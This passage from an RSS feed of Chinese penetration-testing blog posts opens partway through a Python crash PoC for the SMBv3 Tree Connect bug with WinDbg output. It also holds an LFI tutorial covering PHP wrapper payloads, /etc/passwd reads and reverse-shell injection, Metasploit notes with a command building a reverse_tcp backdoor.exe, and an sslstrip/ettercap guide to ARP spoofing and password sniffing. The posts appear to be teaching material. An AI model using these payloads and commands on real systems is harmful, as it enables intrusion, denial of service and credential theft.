&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;head&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;SMBv2Header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Cmd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x03\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MessageId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;GrabMessageID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\xff\xfe\x00\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x01\x00\x00\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CreditCharge&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;GrabCreditCharged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Credits&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;GrabCreditRequested&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;NTStatus&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SessionID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;GrabSessionID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;SMB2TreeData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;C&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="c1"&gt;//BUG
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;packet1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;buffer1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;longueur&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;packet1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[*]Triggering Bug; Tree Connect SMBv2 packet sent.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;答案是否定的，至少在我看来，大量的数据目的并非是为了填充缓冲区，而是为了绕过tcpip.sys的某处判断，从而进入漏洞出发的函数调用逻辑。&lt;/p&gt;
&lt;p&gt;问题出现在smbv2后的一个特性Tree Connect，用来处理共享服务的特性，opcode：0x03，而整个问题，确是多个地方导致的。下面我们就一起来进入今天的旅程吧！&lt;/p&gt;
&lt;p&gt;Github地址： &lt;a href="https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect"&gt;https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="漏洞复现"&gt;漏洞复现&lt;/h3&gt;
&lt;p&gt;首先，网上关于这个漏洞的触发方法有很多，比较通用的是twitter中某老外提到的Powershell的方法，最为简单，首先我们调试的环境是：Windows 10 x64 build 1607&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/02/1-2.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来我们在kali2.0里运行漏洞脚本。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/02/2-3.png"&gt;&lt;/p&gt;
&lt;p&gt;随后执行&amp;quot;dir \ip\PATH&amp;quot;，漏洞触发，通过windbg双机联调，此时捕捉到了BSOD。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/02/3-1.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到提示此时问题出现在mrxsmb20.sys中，问题函数是Smb2ValidateNegotiateInfo，来看一下触发位置的代码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kd&amp;gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mrxsmb20!Smb2ValidateNegotiateInfo+0x17:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fffff803`1869c7d7 66394114 cmp word ptr [rcx+14h],ax
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kd&amp;gt; r rcx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rcx=0x00000000`00000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时rcx的值为0x0，是一处无效地址，因此这是由于空指针引用导致的BSOD，接下来继续执行可以看到Windows 10引发蓝屏。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/02/4-1.png"&gt;&lt;/p&gt;
&lt;h3 id="回溯及数据包分析important"&gt;回溯及数据包分析(important!)&lt;/h3&gt;
&lt;p&gt;我们来看一下mrxsmb20.sys关于Tree Connect特性的一些内容，代码逻辑相对简单。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/02/5-1.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到执行到Smb2ValidateNegotiateInfo函数有两条逻辑调用，一个是Smb2TreeConnect_CopyData，一个是Smb2TreeConnect_Receive，这里我就把我回溯的结果和大家分享一下，首先，通过Smb2TreeConnect_Receive来接收smb的Tree Connect数据，这个是通过opcode来决定的。&lt;/p&gt;
&lt;p&gt;正常情况下不会进入Smb2TreeConnect_CopyData，但一旦由不正常（后面会提到）数据包执行，则会在Receive之后进入CopyData函数的处理逻辑，从而引发漏洞。&lt;/p&gt;</description></item><item><title>渗透测试技术之本地文件包含</title><link>https://www.lucien116.com/archives/246/</link><pubDate>Tue, 24 Jan 2017 03:11:20 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=246</guid><description>&lt;p&gt;概述&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;通过加强对本地文件包含(LFI)渗透测试技术的研究，可以帮助渗透测试人员和学生在未来的渗透测试过程中，识别和测试LFI漏洞。在Web程序渗透测试中，利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外，在本文中提到有一些技术，在CTF大赛中也经常被利用。&lt;/p&gt;
&lt;p&gt;什么是本地文件包含(LFI)漏洞?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下，就有可能存在这个漏洞，该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。&lt;/p&gt;
&lt;p&gt;漏洞代码实例&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;如下图，这是一个存在本地文件包含漏洞的PHP代码：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/159f0003bda95c82ef21"&gt;&lt;/p&gt;
&lt;p&gt;在WEB应用程序中识别LFI&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;LFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本，对于下一步的LIF测试，都是一个很好的切入点，例如：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a000015eca4804c951"&gt;&lt;/p&gt;
&lt;p&gt;对于渗透测试人员，可以尝试通过操纵文件位置参数来利用它，就像是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/159d000432f9156bc666"&gt;&lt;/p&gt;
&lt;p&gt;上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。&lt;/p&gt;
&lt;p&gt;下图是在一个WEB应用程序中，成功利用LFI漏洞的例子：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a000015ecce6ec847e"&gt;&lt;/p&gt;
&lt;p&gt;PHP封装&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;PHP的大量封装经常被滥用，有可能导致绕过输入过滤。&lt;/p&gt;
&lt;p&gt;PHP Expect封装&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;PHP的“expect://”允许执行系统命令，不过，PHP expect模块在默认情况下是没有启用的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p1.pstatp.com/large/1539000346c9b73e3dae"&gt;&lt;/p&gt;
&lt;p&gt;PHP file://封装&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下图是一个带有payload的POST请求：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a000015ecb1b7d68db"&gt;&lt;/p&gt;
&lt;p&gt;下图利用php://input攻击DVWA，包含了一个“ls”命令，如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/159f0003bdaa8f6f3974"&gt;&lt;/p&gt;
&lt;p&gt;攻击后的响应情况如下图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a200014a2b841c7245"&gt;&lt;/p&gt;
&lt;p&gt;PHP php://filter&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;PHP php://filter允许渗透测试人员包含本地文件，并将输出数据用BASE64编码。当然，用BASE64编码的输出数据需要经过解码，还原出原始内容。&lt;/p&gt;
&lt;p&gt;攻击实例如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/159d000432fa54c9446e"&gt;&lt;/p&gt;
&lt;p&gt;运行结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p1.pstatp.com/large/159d000432fba3a3d141"&gt;&lt;/p&gt;
&lt;p&gt;然后对输出结果进行BASE64解码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a000015ecf9d498372"&gt;&lt;/p&gt;
&lt;p&gt;如上所示，已经还原出原始内容。&lt;/p&gt;
&lt;p&gt;当然，php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/1539000346cbb8b460e9"&gt;&lt;/p&gt;
&lt;p&gt;结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p1.pstatp.com/large/1539000346cc0c430278"&gt;&lt;/p&gt;
&lt;p&gt;PHP ZIP封装LFI&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;PHP ZIP封装主要在服务器端处理上传的.zip文件，攻击者可以通过一个存在漏洞的文件上传功能，上传一个ZIP文件，并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的：&lt;/p&gt;
&lt;p&gt;1.创建一个PHP反弹SHELL(SHELL.php)。&lt;/p&gt;
&lt;p&gt;2.将其压缩成一个.zip文件。&lt;/p&gt;
&lt;p&gt;3.将这个.zip文件上传到远程服务器。&lt;/p&gt;
&lt;p&gt;4.利用PHP ZIP封装提取PHP SHELL，使用“php?page=zip://path/to/file.zip%23shell”。&lt;/p&gt;
&lt;p&gt;5.上面的命令会将提取的文件存储为名为SHELL.php的文件，如果服务器端没有添加.php后缀，可以通过重命名来添加。&lt;/p&gt;
&lt;p&gt;如果文件上传功能不允许上传ZIP文件，可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。&lt;/p&gt;
&lt;p&gt;通过/proc/self/environ执行LFI&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;通过本地文件包含漏洞,查看是否可以包含/proc/self/environ文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中，本地文件包含漏洞会利用并执行/proc/self/environ，用于重新加载环境变量，最后会执行你的反弹shell。&lt;/p&gt;
&lt;p&gt;空字节技术&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;通过在URL编码中增加“空字节”，比如“00%”，在某些情况下能绕过WEB应用程序中的过滤。通常，增加空字符后，后端的WEB应用程序对该输入有可能会放行或不处理，从而可以绕过WEB应用黑名单过滤器。&lt;/p&gt;
&lt;p&gt;下面是一些特殊的LFI空字节注入的实例：&lt;/p&gt;
&lt;p&gt;&lt;img alt="渗透测试技术之本地文件包含" loading="lazy" src="http://p3.pstatp.com/large/15a000015ece71b0e7e6"&gt;&lt;/p&gt;
&lt;p&gt;截断LFI绕过&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;截断是另一个绕过黑名单的技术，通过向有漏洞的文件包含机制中注入一个长的参数，WEB应用有可能会“砍掉它”(截断)输入的参数，从而有可能绕过输入过滤。&lt;/p&gt;</description></item><item><title>Metasploit 渗透测试笔记(Meterpreter篇)</title><link>https://www.lucien116.com/archives/244/</link><pubDate>Mon, 23 Jan 2017 07:41:26 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=244</guid><description>&lt;h2 id="0x01-背景"&gt;0x01 背景&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;meterpreter作为后渗透模块有多种类型，并且命令由核心命令和扩展库命令组成，极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll，所以在网络不稳定的情况下经常出现没有可执行命令，或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况，别担心结束了之后再来一次，喝杯茶就好了。&lt;/p&gt;
&lt;h2 id="0x02-常用类型"&gt;0x02 常用类型&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id="reverse_tcp"&gt;reverse_tcp&lt;/h3&gt;
&lt;p&gt;path : payload/windows/meterpreter/reverse_tcp&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;msfpayload&lt;/span&gt; &lt;span class="n"&gt;windows&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;meterpreter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;reverse_tcp&lt;/span&gt; &lt;span class="n"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.130&lt;/span&gt; &lt;span class="n"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt; &lt;span class="n"&gt;X&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;～&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Desktop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;backdoor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/11.png"&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/21.png"&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/31.png"&gt;&lt;/p&gt;
&lt;p&gt;反向连接shell,使用起来很稳定。需要设置LHOST。&lt;/p&gt;
&lt;h3 id="bind_tcp"&gt;bind_tcp&lt;/h3&gt;
&lt;p&gt;path : payload/windows/meterpreter/bind_tcp&lt;/p&gt;
&lt;p&gt;正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST。&lt;/p&gt;
&lt;h3 id="reverse_httphttps"&gt;reverse_http/https&lt;/h3&gt;
&lt;p&gt;path: &lt;code&gt;payload/windows/meterpreter/reverse_http/https&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;通过http/https的方式反向连接，在网速慢的情况下不稳定，在某博客上看到https如果反弹没有收到数据，可以将监听端口换成443试试。&lt;/p&gt;
&lt;h2 id="0x03-基本命令"&gt;0x03 基本命令&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/41.png"&gt;&lt;/p&gt;
&lt;p&gt;常用的有&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="err"&gt;：将当前会话放置后台&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="err"&gt;：加载模块&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Interact&lt;/span&gt;&lt;span class="err"&gt;：切换进一个信道&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;migrate&lt;/span&gt;&lt;span class="err"&gt;：迁移进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="err"&gt;：执行一个已有的模块，这里要说的是输入&lt;/span&gt;&lt;span class="n"&gt;run后按两下tab&lt;/span&gt;&lt;span class="err"&gt;，会列出所有的已有的脚本，常用的有&lt;/span&gt;&lt;span class="n"&gt;autoroute&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;hashdump&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;arp_scanner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;multi_meter_inject等&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ne"&gt;Resource&lt;/span&gt;&lt;span class="err"&gt;：执行一个已有的&lt;/span&gt;&lt;span class="n"&gt;rc脚本&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x04-常用扩展库介绍"&gt;0x04 常用扩展库介绍&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/5.png"&gt;&lt;/p&gt;
&lt;p&gt;meterpreter中不仅有基本命令还有很多扩展库，load/use之后再输入help，就可以看到关于这个模块的命令说明了。&lt;/p&gt;
&lt;h2 id="stdapi-command"&gt;stdapi command&lt;/h2&gt;
&lt;h3 id="文件相关"&gt;文件相关&lt;/h3&gt;
&lt;p&gt;stdapi中有关于文件读写，上传下载，目录切换，截屏，摄像头，键盘记录，和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载，注意在meterpreter中也可以切换目录，当然也可以编辑文件。所以就不用运行shell再用echo写。&lt;/p&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/6.png"&gt;&lt;/p&gt;
&lt;p&gt;使用edit命令时需要注意编辑的是一个存在的文件，edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="enter image description here" loading="lazy" src="http://www.evil0x.com/wp-content/uploads/2014/06/7.png"&gt;&lt;/p&gt;</description></item><item><title>利用sslstrip和ettercap突破ssl嗅探密码</title><link>https://www.lucien116.com/archives/242/</link><pubDate>Mon, 23 Jan 2017 07:31:07 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=242</guid><description>&lt;p&gt;&lt;strong&gt;本教程不是原创，是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具，配合ettercap进行arp欺骗，可以突破经过ssl加密的协议(如https等，一种被动使用https协议的会受到攻击），进行局域网arp嗅探获得口令等信息。&lt;/strong&gt; &lt;strong&gt;准备工作：&lt;/strong&gt; &lt;a href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz"&gt;下载sslstrip&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;a href="http://www.thoughtcrime.org/software/sslstrip/"&gt;这里&lt;/a&gt; 获得更多帮助:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://www.thoughtcrime.org/software/sslstrip/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;安装：&lt;/strong&gt; 切换到下载目录执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python setup.py install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;开始之前先要打开 &lt;strong&gt;ip_forword转发&lt;/strong&gt;，否而会出现一些错误，感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅，屏幕上就更浅了，实践出真知&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo “1”&amp;gt;/proc/sys/net/ipv4/ip_forward
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用Iptables过滤数据包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;通过iptables 把所有http数据导入到10000端口，我们用sslstrip监听10000端口，并得到我们想要的数据&lt;/p&gt;
&lt;p&gt;参数讲解:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t:命令要操作匹配的表（net这个表表示被查询时遇到了新差生的连接包）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT（修改路由之前本地的包）、POSTROUTING(修改准备出去的包)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-A表示在选择的链后加入更多选项
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;–p指被过滤包的协议
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;–destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后我们使用sslstrip监听10000端口&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sslstrip -l 10000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;利用ettercap进行arp欺骗&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子，大家可以翻出来看看。&lt;/p&gt;
&lt;p&gt;ettercap使用方法，参数详解：&lt;/p&gt;
